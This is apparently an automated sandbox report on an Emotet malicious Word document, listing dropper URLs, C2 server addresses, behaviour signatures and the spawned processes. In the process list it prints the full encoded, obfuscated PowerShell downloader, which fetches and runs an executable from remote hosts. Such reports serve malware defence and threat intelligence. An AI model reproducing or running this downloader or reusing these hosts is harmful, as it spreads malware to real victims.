Analysis

  • max time kernel
    74s
  • max time network
    145s
  • platform
    windows7_x64
  • resource
    win7v200722
  • submitted
    19/10/2020, 21:16

General

  • Target
    emotet_e2_7aebcbb199c8facc45ce3fe6ee6eeae8c90b63274f31d60e1205b0171b48417e_2020-10-19__211338729219._doc.doc
  • Size 156KB
  • Sample201019-9klcgprct2
  • SHA256 7aebcbb199c8facc45ce3fe6ee6eeae8c90b63274f31d60e1205b0171b48417e
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    https://onepalate.biz/wp/YuUcpzM/

  • exe.dropper

    https://webdachieu.com/wp-admin/J/

  • exe.dropper

    http://smallbatchliving.com/wp-admin/uccE/

  • exe.dropper

    http://richellemarie.com/wp-admin/xlTWW/

  • exe.dropper

    http://richelleshadoan.com/wp-admin/Ucrkcvp/

  • exe.dropper

    http://holonchile.cl/purelove/Y4/

  • exe.dropper

    http://a2zarchitect.com/wp-admin/LAs0P/

  • exe.dropper

    https://raumfuerneues.eu/error/AuTiH/

Extracted

Family
  • emotet

Botnet
  • Epoch2

C2
  • 24.230.141.169:80

  • 72.249.144.95:8080

  • 164.160.45.41:8080

  • 120.150.218.241:443

  • 118.83.154.64:443

  • 61.33.119.226:443

  • 66.76.12.94:8080

  • 46.105.131.79:8080

  • 83.110.223.58:443

  • 185.94.252.104:443

  • 75.143.247.51:80

  • 130.0.132.242:80

  • 203.153.216.189:7080

  • 139.162.60.124:8080

  • 176.111.60.55:8080

  • 194.4.58.192:7080

  • 134.209.36.254:8080

  • 110.145.77.103:80

  • 142.112.10.95:20

  • 79.98.24.39:8080

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 8 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_7aebcbb199c8facc45ce3fe6ee6eeae8c90b63274f31d60e1205b0171b48417e_2020-10-19__211338729219._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1100
  • C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
    POwersheLL -ENCOD UwBFAFQAIABBAGIAaQAgACAAKABbAHQAeQBwAGUAXQAoACcAUwB5AFMAdABFACcAKwAnAG0ALgBJAG8ALgBkAEkAUgBFACcAKwAnAEMAJwArACcAdAAnACsAJwBPAHIAWQAnACkAIAAgACkAIAAgADsAIAAgAFMAZQBUAC0AdgBBAHIASQBhAGIAbABFACAAIAA2AEkATwAgACAAKAAgACAAWwBUAFkAcABFAF0AKAAnAFMAJwArACcAWQBzAHQAZQBtAC4AbgBlACcAKwAnAFQALgBzAEUAJwArACcAcgB2AEkAYwBlAFAAJwArACcAbwBJAG4AdABNAGEATgAnACsAJwBhACcAKwAnAEcAJwArACcAZQBSACcAKQAgACkAOwAgAHMAVgAgACAAKAAnADQAMABuACcAKwAnADcAQQAnACkAIAAgACgAIAAgAFsAdAB5AHAARQBdACgAJwBzACcAKwAnAHkAcwBUAEUAbQAnACsAJwAuACcAKwAnAG4ARQBUAC4AUwAnACsAJwBFAEMAJwArACcAVQByAEkAVAB5AHAAcgAnACsAJwBPAFQAbwBDAE8ATAAnACsAJwB0AHkAJwArACcAUABFACcAKQAgACAAKQAgADsAIAAkAEcAZQBoADYAdQB6AF8APQAoACcAQgAnACsAJwBzAGgAXwAnACsAJwBsAHIAXwAnACkAOwAkAEsAdQBmADgAaQAzAHkAPQAkAEoAMQA0AGcAeABkAGEAIAArACAAWwBjAGgAYQByAF0AKAA4ADAAIAAtACAAMwA4ACkAIAArACAAJABVADYAawB6ADUAcQBiADsAJABBAGQAeABlAHYANAB4AD0AKAAnAEcAZQBqAHMAJwArACcAdwBtADgAJwApADsAIAAgACgAIABHAEUAVAAtAEMAaABJAEwAZABJAHQAZQBtACAAVgBhAHIAaQBBAEIAbABlADoAQQBCAEkAKQAuAFYAYQBMAHUARQA6ADoAQwBSAEUAYQBUAGUAZABJAHIAZQBDAHQATwBSAHkAKAAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACAAKwAgACgAKAAnAHsAMAB9ACcAKwAnAEQAagAnACsAJwBxAGsAYQA0ACcAKwAnAG0AewAwAH0AJwArACcAQgAnACsAJwBnAGcAJwArACcANQA2AHkAJwArACcAdAB7ADAAfQAnACkALQBmAFsAQwBoAGEAUgBdADkAMgApACkAOwAkAEUAdQBxAGYANgBtAHAAPQAoACcARABjAGMAMQBwACcAKwAnAGwAJwArACcAcwAnACkAOwAgACgAIAAgAEcAZQBUAC0AdgBhAHIAaQBBAEIATABFACAANgBpAE8AIAApAC4AVgBhAEwAVQBFADoAOgBzAGUAYwBVAFIAaQBUAHkAcABSAE8AdABPAGMAbwBMACAAPQAgACAAIAAkADQAMABuADcAQQA6ADoAdABsAFMAMQAyADsAJABMAHIAMABpADUANwBiAD0AKAAnAEIAJwArACcAbgAnACsAJwA4AHMANgBzAHQAJwApADsAJABZAGUAYwBtADYAXwBrACAAPQAgACgAJwBZAHoAcwBrACcAKwAnAF8ANwA3ACcAKQA7ACQAUgBxAF8AcwAxADgAYgA9ACgAJwBRACcAKwAnAHgAYwBmAG8AeQAnACsAJwAzACcAKQA7ACQATgA3AGMAcwBwADgAbQA9ACgAJwBPAHgAJwArACcAMwAxADUAaQB4ACcAKQA7ACQASwBiADgAOQBwAGQAbwA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAJwBDACcAKwAnAFMAZwBEACcAKwAnAGoAcQBrAGEAJwArACcANABtAEMAJwArACcAUwBnAEIAJwArACcAZwBnADUANgAnACsAJwB5AHQAQwAnACsAJwBTAGcAJwApACAALQBjAFIARQBQAGwAQQBDAGUAIAAgACcAQwBTAGcAJwAsAFsAQwBoAGEAcgBdADkAMgApACsAJABZAGUAYwBtADYAXwBrACsAKAAnAC4AZQB4ACcAKwAnAGUAJwApADsAJABQAGoAdABuADcAdQA2AD0AKAAnAEkAMAA3AGgAcQAnACsAJwBvAGMAJwApADsAJABTAHAAbwB1ADcAMwB3AD0AbgBlAGAAdwAtAE8AYABCAGoAZQBjAFQAIABuAEUAdAAuAFcAZQBiAEMATABJAEUAbgBUADsAJABEAHkAZgBmAF8AeABhAD0AKAAnAGgAJwArACcAdAB0AHAAJwArACcAcwA6ACcAKwAnAC8AJwArACcALwBvAG4AJwArACcAZQBwAGEAbABhAHQAZQAuAGIAaQAnACsAJwB6AC8AdwBwAC8AWQB1AFUAJwArACcAYwBwAHoATQAvACoAaAAnACsAJwB0AHQAJwArACcAcABzADoAJwArACcALwAvAHcAZQBiAGQAYQAnACsAJwBjAGgAaQBlACcAKwAnAHUALgAnACsAJwBjACcAKwAnAG8AbQAnACsAJwAvAHcAcAAtAGEAZABtAGkAbgAvACcAKwAnAEoAJwArACcALwAqAGgAdAAnACsAJwB0ACcAKwAnAHAAOgAvACcAKwAnAC8AcwBtACcAKwAnAGEAbAAnACsAJwBsAGIAJwArACcAYQB0ACcAKwAnAGMAaABsAGkAJwArACcAdgBpACcAKwAnAG4AZwAnACsAJwAuAGMAbwBtACcAKwAnAC8AdwAnACsAJwBwACcAKwAnAC0AYQBkAG0AaQBuAC8AdQBjACcAKwAnAGMARQAvACoAaAAnACsAJwB0AHQAcAA6AC8ALwByAGkAYwAnACsAJwBoACcAKwAnAGUAbABsAGUAbQBhACcAKwAnAHIAaQAnACsAJwBlACcAKwAnAC4AYwBvAG0AJwArACcALwB3AHAALQBhAGQAbQBpAG4ALwB4AGwAVABXACcAKwAnAFcALwAqAGgAJwArACcAdAB0AHAAJwArACcAOgAvACcAKwAnAC8AJwArACcAcgBpACcAKwAnAGMAaABlACcAKwAnAGwAbABlAHMAaABhAGQAbwBhAG4ALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAJwArACcAbgAnACsAJwAvACcAKwAnAFUAYwByAGsAJwArACcAYwB2ACcAKwAnAHAALwAqAGgAdAB0AHAAJwArACcAOgAvACcAKwAnAC8AaABvACcAKwAnAGwAbwBuACcAKwAnAGMAaAAnACsAJwBpAGwAJwArACcAZQAuAGMAbAAvAHAAdQAnACsAJwByAGUAbABvACcAKwAnAHYAZQAnACsAJwAvAFkANAAvACcAKwAnACoAaAAnACsAJwB0AHQAcAAnACsAJwA6AC8ALwBhACcAKwAnADIAegBhACcAKwAnAHIAYwAnACsAJwBoAGkAdABlAGMAdAAuAGMAbwBtAC8AdwBwAC0AYQAnACsAJwBkAG0AaQAnACsAJwBuAC8ATAAnACsAJwBBAHMAMABQAC8AJwArACcAKgBoAHQAJwArACcAdABwAHMAOgAvAC8AcgBhAHUAbQBmAHUAZQByAG4AZQB1AGUAcwAuACcAKwAnAGUAJwArACcAdQAnACsAJwAvACcAKwAnAGUAcgByAG8AJwArACcAcgAvAEEAJwArACcAdQAnACsAJwBUAGkASAAvACcAKQAuAHMAUABsAEkAVAAoACQAWABnADMAZAA0AG8AawAgACsAIAAkAEsAdQBmADgAaQAzAHkAIAArACAAJABEAG4AMABkAGYAbABmACkAOwAkAEEAcwB0AGUAZgBvAHEAPQAoACcAQQA5ACcAKwAnAGYAcgBiACcAKwAnAGUAZwAnACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAEkAbABvAHYAdAByAG4AIABpAG4AIAAkAEQAeQBmAGYAXwB4AGEAKQB7AHQAcgB5AHsAJABTAHAAbwB1ADcAMwB3AC4ARABvAHcATgBMAG8AYQBEAGYAaQBsAEUAKAAkAEkAbABvAHYAdAByAG4ALAAgACQASwBiADgAOQBwAGQAbwApADsAJABPAHMANAB4AHEAdAAzAD0AKAAnAFoAMwAnACsAJwBpAHQAdwAnACsAJwAzAGEAJwApADsASQBmACAAKAAoAGcAYABFAFQAYAAtAEkAVABFAE0AIAAkAEsAYgA4ADkAcABkAG8AKQAuAGwARQBOAGcAdABIACAALQBnAGUAIAAyADMAOQAwADUAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACgAJwB3ACcAKwAnAGkAbgAzADIAXwBQACcAKwAnAHIAbwBjACcAKwAnAGUAcwBzACcAKQApAC4AYwBSAGUAQQB0AEUAKAAkAEsAYgA4ADkAcABkAG8AKQA7ACQATABoADAANgA5AGYAdAA9ACgAJwBWAGQANwAnACsAJwBpACcAKwAnADQAMgBhACcAKQA7AGIAcgBlAGEAawA7ACQAVQB0AHkAcwBzADAAcgA9ACgAJwBJAGcAbgAnACsAJwBmADgAJwArACcAbQBqACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARAB6AHYAOABpAGwAeAA9ACgAJwBHADgAeABwACcAKwAnADcAXwAnACsAJwBnACcAKQA=
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:1584
  • C:\Users\Admin\Djqka4m\Bgg56yt\Yzsk_77.exe
    C:\Users\Admin\Djqka4m\Bgg56yt\Yzsk_77.exe
    1⤵
    • Executes dropped EXE
    • Drops file in System32 directory
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:604
    • C:\Windows\SysWOW64\cryptxml\odbc32.exe
      "C:\Windows\SysWOW64\cryptxml\odbc32.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of SetWindowsHookEx
      PID:1572

Network

        MITRE ATT&CK Matrix

        Replay Monitor

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        Downloads

        memory/604-17-0x00000000005B0000-0x00000000005D1000-memory.dmp

        memory/604-16-0x0000000000290000-0x00000000002B2000-memory.dmp

        memory/1100-4-0x0000000006DD0000-0x0000000006FD0000-memory.dmp

        memory/1100-2-0x0000000008A70000-0x0000000008A74000-memory.dmp

        memory/1572-21-0x00000000003C0000-0x00000000003E1000-memory.dmp

        memory/1572-20-0x0000000000390000-0x00000000003B2000-memory.dmp

        memory/1584-9-0x000000001AC40000-0x000000001AC41000-memory.dmp

        memory/1584-13-0x000000001C330000-0x000000001C331000-memory.dmp

        memory/1584-12-0x000000001C1C0000-0x000000001C1C1000-memory.dmp

        memory/1584-11-0x0000000002430000-0x0000000002431000-memory.dmp

        memory/1584-10-0x0000000002630000-0x0000000002631000-memory.dmp

        memory/1584-8-0x00000000023F0000-0x00000000023F1000-memory.dmp

        memory/1584-7-0x000007FEE9AB0000-0x000007FEEA49C000-memory.dmp

        memory/1916-22-0x000007FEF5220000-0x000007FEF549A000-memory.dmp